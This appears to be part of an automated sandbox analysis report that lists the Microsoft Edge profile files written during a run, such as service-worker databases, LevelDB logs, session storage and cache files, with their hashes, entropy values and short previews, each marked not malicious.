SHA-256:	9667A360785B416C0005B902F817AD3251F59D6B65889CD5C2F29082BA2BC1B3
SHA-512:	1440037D7C124BE3D618F61CFB31A8D9BA995A9C2CBC90B45EC51A3852A90E54C23E9C641C6F86D067AFA3F2FB0F2F853B47261B4E942434DA74FCFDC53688DC
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375660173595742","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375660173595742","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.828241753905198
Encrypted:	false
SSDEEP:	24:F2xc5Nm6acncmo0CRORpllg2DGHSfRHBVdCRORpllg2Zt/9KCRORpllg2DGHtRHf:F2emOtrdDFfBjXrdZBArdDIBHGrdnBa
MD5:	4162ECFCA6A0F0FC942B3116C107E70E
SHA1:	C1F08F5BA7496B18EE76E20A1A106EDE9F682C76
SHA-256:	98D9E2FC4128DAED8B25DAF89493B571DADE6A6A976474F28DCBF32F9FB34159
SHA-512:	FA39D4E89D1932E7C20A7423080ABE4C644F8EDE256526885301006986B12656DE5E3F39A527665B492E7B036B6DB5E107A351DBF8DE168A4F686053A4379CB7
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..a.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.185785080332907
Encrypted:	false
SSDEEP:	6:H24Wq1923oH+TcwtE/a252KLlV241+q2P923oH+TcwtE/a2ZIFUv:nWfYeb8xL/Av4Yeb8J2FUv
MD5:	49996AA280DD0EF15C70FA84D0E5FDC6
SHA1:	AEFBF73B94FFCE8DE23858675E58F3895391CC4D
SHA-256:	B2B69A7CA528255964B28AF0D560A946CF57445B9750B53490F72A9A91784530
SHA-512:	CA084AE3A24E03DCCD575CA454F98DB13D802C7F9E26095C2C2D8E9BFAAB202CDD928357DC5E5105D61613397D2457E3704316BFC262C776E12F556130EDD64B
Malicious:	false
Preview:	2024/11/09-16:09:46.631 1c88 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/09-16:09:46.653 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113649
Entropy (8bit):	5.579665644504862
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH2BoOz/0iL/rDL/rb8:f9LyxPXfOrr1lMe1z6rWXU8iL/HL/E
MD5:	39ED273832879CE012E02F0876438F5E
SHA1:	AD960F73030DB5ECAB16836821FAE7C9E1AC9289
SHA-256:	0E2C26F9D843B9FA8FB28620819FD7E4F557F7593C676BE56B049D83EC5A910E
SHA-512:	14EA414FB8CE02AB91B814751CCFE89020A5F115B2D9E33560E2BB72514C36C9D5776E8EBF601087E135CC75FCC244D155DDBC54EFC2331ED359A5B448C28958
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187825
Entropy (8bit):	6.381690386796831
Encrypted:	false
SSDEEP:	3072:nHmMzmfGjHUwVPqZnDIgH2UthNDhqG8GTLL/fnw2oC4vv:BUw2DldtDoGDL//b4vv
MD5:	F9E84685A03560993564B10B5777A075
SHA1:	54E110153A7ADDD39D7C5D4AE0A57E6EA61A48F7
SHA-256:	1354BCCC56C61B5F21086674E8190C5EFF0DF1D77A61AF9F599480E3ADB099F4
SHA-512:	9F9DF0DE5B24BA7A27473725AF78168ED8E72016C0172874C9A873C8F8A67200D0508EEB00F2AA921C21D74A4526A22F7C49DD8B5CB0449E2CFEED45C6725F69
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.X........,T.8..`,.....L`.....,T...`......L`......Rc..0s....exports...Rc...q....module....Rc&%6.....define....Rb.w/G....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...@b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:TKulQyXl/lrV/lxEwltz6tz+:Gut6QcQ
MD5:	B6F14076939F924925D17B7DC6C0528D
SHA1:	5936A59555E209F91D5EACCB795A916D77B4415F
SHA-256:	18D462AE601F6D3CE54F52ABCF4392BBBE86842EB43E19E3ADC5482E3CD94709
SHA-512:	5ED26FBE0E81E7BA7954C837D20BCCCDFBAC721309A61E227B47E26A5B21FCB6FB497C13FB8CDE8EF0FF3D069C5C8C8B3DBFEC3CF12672A2C152A38CA32A7CE0
Malicious:	false
Preview:	@......joy retne.........................X....,................mM..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:TKulQyXl/lrV/lxEwltz6tz+:Gut6QcQ
MD5:	B6F14076939F924925D17B7DC6C0528D
SHA1:	5936A59555E209F91D5EACCB795A916D77B4415F
SHA-256:	18D462AE601F6D3CE54F52ABCF4392BBBE86842EB43E19E3ADC5482E3CD94709
SHA-512:	5ED26FBE0E81E7BA7954C837D20BCCCDFBAC721309A61E227B47E26A5B21FCB6FB497C13FB8CDE8EF0FF3D069C5C8C8B3DBFEC3CF12672A2C152A38CA32A7CE0
Malicious:	false
Preview:	@......joy retne.........................X....,................mM..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40a3d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:TKulQyXl/lrV/lxEwltz6tz+:Gut6QcQ
MD5:	B6F14076939F924925D17B7DC6C0528D
SHA1:	5936A59555E209F91D5EACCB795A916D77B4415F
SHA-256:	18D462AE601F6D3CE54F52ABCF4392BBBE86842EB43E19E3ADC5482E3CD94709
SHA-512:	5ED26FBE0E81E7BA7954C837D20BCCCDFBAC721309A61E227B47E26A5B21FCB6FB497C13FB8CDE8EF0FF3D069C5C8C8B3DBFEC3CF12672A2C152A38CA32A7CE0
Malicious:	false
Preview:	@......joy retne.........................X....,................mM..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5537
Entropy (8bit):	3.4286606230362473
Encrypted:	false
SSDEEP:	96:D2lF5u6SKiNbpiHi39Xp+I+qiBokXe5SLl9iSrk11IMOU7F:Cv5u6JiN8E9Xp+I9iBDu5SLl9iSrkwM1
MD5:	9C277A523F950F6E2CA35556149CE90D
SHA1:	DB7FE913E6876FC0C07A2BC94AC7BBFCA57AD315
SHA-256:	000F5CB718273C03AFDDB2FC25513377882DC3DCF575EE5885C7F3775A793918
SHA-512:	7C78A6E34C9158E55BF66253717CDEE3C84A94FA68D60B90D2DAF59127019EE8582E3955240BAE4FD9DC2E6A96A476DCF0432A09EF5416367CC0855CB1C00DCB
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................{\|Nb................next-map-id.1.Cnamespace-7f975cfe_c93c_4d79_be94_6e0d74f7e26a-https://ntp.msn.com/.0.zS.\................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.d.a.t.a.c.o.l.l.e.c.t.i.o.n.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.q.r.1.t.3.,.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.a.c.,.1.s.-.n.t.f.1.-.r.d.i.d.c.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.-.c.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.h.i.g.h.,.p.r.g.-.f.i.n.-.l.2.d.u.e.n.v.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.e.n.u.e.0.4.,.f.l.i.g.h.t.0.4.1.7.c.f._.4.,.t.r.a.f.f.i.c.-.p.r.2.-.t.s.k.b.-.c.a.r.-.c.f.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.f.-.r.e.l.-.a.l.l.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.088013115735392
Encrypted:	false
SSDEEP:	6:H2iq2P923oH+TcwtrQMxIFUt8Y2jkZZmw+Y2vkwO923oH+TcwtrQMFLJ:vv4YebCFUt8aZ/+55LYebtJ
MD5:	621665D144E9EF9B669271B1ED19E7FF
SHA1:	B7397E10D83913D631A0B2B92281649E8315B9D5
SHA-256:	D88C24FF35E28E400A77F2669483B00CCBF1CC19E7A564813DA0D88F4C664A9C
SHA-512:	2357E27BEBAD32ED9718306C4A8DB3F3EB739FBDCA2B9F63B6077993A7B44A4EBDC050E5A773454A05F074C42554B0ED7F3CBF493D33AB1CBE7A74EBCA40DD2A
Malicious:	false
Preview:	2024/11/09-16:09:34.210 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/09-16:09:34.211 1c90 Recovering log #3.2024/11/09-16:09:34.216 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.088013115735392
Encrypted:	false
SSDEEP:	6:H2iq2P923oH+TcwtrQMxIFUt8Y2jkZZmw+Y2vkwO923oH+TcwtrQMFLJ:vv4YebCFUt8aZ/+55LYebtJ
MD5:	621665D144E9EF9B669271B1ED19E7FF
SHA1:	B7397E10D83913D631A0B2B92281649E8315B9D5
SHA-256:	D88C24FF35E28E400A77F2669483B00CCBF1CC19E7A564813DA0D88F4C664A9C
SHA-512:	2357E27BEBAD32ED9718306C4A8DB3F3EB739FBDCA2B9F63B6077993A7B44A4EBDC050E5A773454A05F074C42554B0ED7F3CBF493D33AB1CBE7A74EBCA40DD2A
Malicious:	false
Preview:	2024/11/09-16:09:34.210 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/09-16:09:34.211 1c90 Recovering log #3.2024/11/09-16:09:34.216 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375660176104584

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.813451435019568
Encrypted:	false
SSDEEP:	24:3SESpbPyewpsAF4unxormatLp3X2amEtG1ChqylJp7c4+sQKkOAM4o:36jkzFYrmcLp2FEkChh17c4+9HOp
MD5:	17E786CE1DB98F17E2C3DBF0666EACDC
SHA1:	A0C6AC06AC393AA248E517A8D885C25B849396F4
SHA-256:	5CB8D1EC62157B11A51A86F8A24FAF2BBE9829E04B0D741EF08760721C86546B
SHA-512:	A25F8AB7A8C746AC5F86F8D5AE3F564FD3F7B85EA8A9AFD5B8B60627AF41281DD19025C66DAE9A80BDBE79AE896B796F370B1E3B0D885A543FC95E46CEBDB46F
Malicious:	false
Preview:	SNSS........F.M............F.M......".F.M............F.M........F.M........F.M........F.M....!...F.M................................F.M.F.M1..,....F.M$...7f975cfe_c93c_4d79_be94_6e0d74f7e26a....F.M........F.M....d...........F.M....F.M........................F.M....................5..0....F.M&...{98952893-68FF-4A5D-A164-705C709ED3DB}......F.M........F.M...........................F.M............F.M........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........G.H.&...G.H.&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.155490830732253
Encrypted:	false
SSDEEP:	6:H28zGdHN+q2P923oH+Tcwt7Uh2ghZIFUt8Y28dFUmZmw+Y28dFUiVkwO923oH+T8:ZGdov4YebIhHh2FUt8+9/++P5LYebIh9
MD5:	5916AF1D4ACACF23679823B8B7A9F47E
SHA1:	437B403C02C07F3FCCF23CD48CAF05AA7E490A55
SHA-256:	92D5BC3A5495F13D58615511F0A67A8264B9588659042DF1CE4F82E1FB73F65D
SHA-512:	F162D4E1345A85B1DB2FEEE242E40ACE069C5E81A54F60787458F9AB53D8CFF5F8A8F1003217EA2EA74D49A1EBB5C82728430AB608F7609C229031D7DE63D0A7
Malicious:	false
Preview:	2024/11/09-16:09:33.607 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/09-16:09:33.608 1c88 Recovering log #3.2024/11/09-16:09:33.608 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.155490830732253
Encrypted:	false
SSDEEP:	6:H28zGdHN+q2P923oH+Tcwt7Uh2ghZIFUt8Y28dFUmZmw+Y28dFUiVkwO923oH+T8:ZGdov4YebIhHh2FUt8+9/++P5LYebIh9
MD5:	5916AF1D4ACACF23679823B8B7A9F47E
SHA1:	437B403C02C07F3FCCF23CD48CAF05AA7E490A55
SHA-256:	92D5BC3A5495F13D58615511F0A67A8264B9588659042DF1CE4F82E1FB73F65D
SHA-512:	F162D4E1345A85B1DB2FEEE242E40ACE069C5E81A54F60787458F9AB53D8CFF5F8A8F1003217EA2EA74D49A1EBB5C82728430AB608F7609C229031D7DE63D0A7
Malicious:	false
Preview:	2024/11/09-16:09:33.607 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/09-16:09:33.608 1c88 Recovering log #3.2024/11/09-16:09:33.608 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.228800649280658
Encrypted:	false
SSDEEP:	6:H2Tq2P923oH+TcwtzjqEKj3K/2jMGIFUt8Y22UtZmw+Y2ozkwO923oH+TcwtzjqX:mv4YebvqBQFUt8o4/+mz5LYebvqBvJ
MD5:	131334E7C56ED92413BE781ACB4D193E
SHA1:	814A9F577D3D592DD27269CD3B3A0C7917F0F88C
SHA-256:	53362B00EBC73BD683B3438DE9D137799D7EDBCD25202593AB7FECA0EDD1B057
SHA-512:	60999C3503570B54E3051AA229FEDEA89D3D418804D7FBC006D7F84B530B140A07FDDB787EA68F6087449194F77E1B598FDBD31CDAE7661D026812A11A8A3B29
Malicious:	false
Preview:	2024/11/09-16:09:34.356 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/09-16:09:34.520 1c90 Recovering log #3.2024/11/09-16:09:34.523 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.228800649280658
Encrypted:	false
SSDEEP:	6:H2Tq2P923oH+TcwtzjqEKj3K/2jMGIFUt8Y22UtZmw+Y2ozkwO923oH+TcwtzjqX:mv4YebvqBQFUt8o4/+mz5LYebvqBvJ
MD5:	131334E7C56ED92413BE781ACB4D193E
SHA1:	814A9F577D3D592DD27269CD3B3A0C7917F0F88C
SHA-256:	53362B00EBC73BD683B3438DE9D137799D7EDBCD25202593AB7FECA0EDD1B057
SHA-512:	60999C3503570B54E3051AA229FEDEA89D3D418804D7FBC006D7F84B530B140A07FDDB787EA68F6087449194F77E1B598FDBD31CDAE7661D026812A11A8A3B29
Malicious:	false
Preview:	2024/11/09-16:09:34.356 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/09-16:09:34.520 1c90 Recovering log #3.2024/11/09-16:09:34.523 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6328430c-0b03-4b11-9ca7-e8f06b1bcc46.tmp

Download File

